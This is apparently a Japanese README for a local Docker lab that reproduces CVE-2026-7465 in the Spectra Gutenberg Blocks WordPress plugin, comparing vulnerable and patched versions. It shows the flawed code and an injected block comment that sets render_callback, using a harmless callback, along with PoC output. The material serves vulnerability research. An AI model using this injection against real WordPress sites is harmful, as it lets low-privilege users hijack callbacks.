
WordPressプラグイン Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg) における CVE-2026-7465 を分析・再現するためのローカルDockerラボです。
このラボでは以下を比較します:
vuln: Spectra 2.19.25patched: Spectra 2.19.26このPoCは意図的に最小限の影響にとどめています。シェルコマンドの実行、ファイルのアップロード、ユーザーの作成、コンテナの直接変更は行いません。一時的なWordPress下書き投稿を作成し、レンダリングされたブロックの動作を確認した後、その下書きを削除します。
CVE-2026-7465 は、ユーザーが制御するGutenbergブロック属性がWordPressのブロック登録引数に渡される可能性があるSpectra Gutenberg Blocksの脆弱性です。
脆弱なバージョンでは、Spectraは投稿コンテンツのブロック属性を使用して、解析された uagb/* ブロックを動的に登録します。
$registry->register( $block['blockName'], $block['attrs'] );
ContributorはGutenbergブロックコメントを含む投稿コンテンツを作成できるため、認証されたContributorレベルのユーザーが render_callback などの登録引数に影響を与えることができます。
バージョン 2.19.26 では、空の引数配列でブロックを登録することで問題を修正しています。
$registry->register( $block['blockName'], array() );
これにより、投稿によって制御されたブロック属性がPHPブロック登録オプションになるのを防ぎます。
製品:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
このラボで使用するバージョン:
vulnerable: 2.19.25
patched: 2.19.26
WordPress.orgの 2.19.26 の変更ログには、このアップデートがセキュリティバグに対処したこと、およびWordfenceが責任ある報告を行ったことが記載されています。
脆弱なロジックは以下にあります:
classes/class-uagb-init-blocks.php
脆弱なコードは、解析されたブロック名に uagb/ 名前空間が含まれているかどうかをチェックします。ブロックがまだ登録されていない場合、動的にブロックを登録します。
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
問題は2番目の引数です:
$block['attrs']
Gutenbergでは、ブロック属性は投稿コンテンツ内に保存できます。例:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
Contributorは下書き投稿コンテンツを作成できます。したがって、攻撃者は $block['attrs'] に影響を与えることができます。
これらの属性が WP_Block_Type_Registry::register() に渡されると、ブロック登録引数になります。重要な登録引数の1つは:
render_callback
これにより、コールバック制御のプリミティブが作成されます。
2.19.26 では、Spectraは依然として解析された uagb/* ブロック名を登録しますが、投稿によって制御された属性を登録引数として渡さなくなりました:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
重要な変更点は:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
これにより、攻撃者が制御する属性がブロック登録パスから削除されます。
maybe_serialize を使用する理由PoCは system, exec, shell_exec, passthru などの危険なPHPコールバックを使用しません。
代わりに以下を使用します:
maybe_serialize
証明ブロックのコンテンツは:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
期待される動作:
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
これにより、コマンドの実行やファイルの書き込みを行わずに脆弱な動作を証明します。
サービス:
db_vuln MariaDB for vulnerable WordPress
db_patched MariaDB for patched WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
ローカルポート:
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
初期設定されたWordPressユーザー:
username: contributor
password: contributorpass123!
role: contributor
PoCはHTTPのみを使用します。ログインとREST APIリクエストを通じてWordPressとやり取りします。
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
クリーンな環境から開始:
docker compose down -v --remove-orphans
docker compose up -d --build
コンテナを確認:
docker compose ps
シードログを確認:
docker compose logs seed_vuln seed_patched
期待されるシード結果:
[+] seed vuln: done
[+] seed patched: done
脆弱なターゲットをテスト:
python3 poc/poc.py -t http://127.0.0.1:8181
期待される脆弱な判定:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
パッチ適用済みターゲットをテスト:
python3 poc/poc.py -t http://127.0.0.1:8182
期待されるパッチ適用済み判定:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
重要な比較は:
raw_contains_marker
rendered_contains_marker
脆弱なターゲットとパッチ適用済みターゲットの両方で次の表示が期待されます:
raw_contains_marker: True
これにより、同じブロックコンテンツが一時的な下書き投稿に正常に保存されたことが確認されます。
違いはレンダリング出力にあります:
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
これは、脆弱なバージョンが投稿によって制御された render_callback を受け入れたのに対し、パッチ適用済みバージョンは受け入れなかったことを示しています。
コンテナ、ネットワーク、ボリュームを停止・削除:
docker compose down -v --remove-orphans
Pythonキャッシュがある場合は削除:
rm -rf poc/__pycache__
このリポジトリはローカルでのセキュリティ研究とポートフォリオのデモンストレーションのみを目的としています。
PoCは:
所有していない、または明示的なテスト許可を得ていないシステムに対してこれを実行しないでください。
WordPress.org プラグインページ: Spectra Gutenberg Blocks - Website Builder for the Block Editor
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
WordPress.org 変更ログ: 2.19.26 - Monday, 4th May 2026 セキュリティアップデート(Wordfenceにクレジット)
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
WordPress プラグイン SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/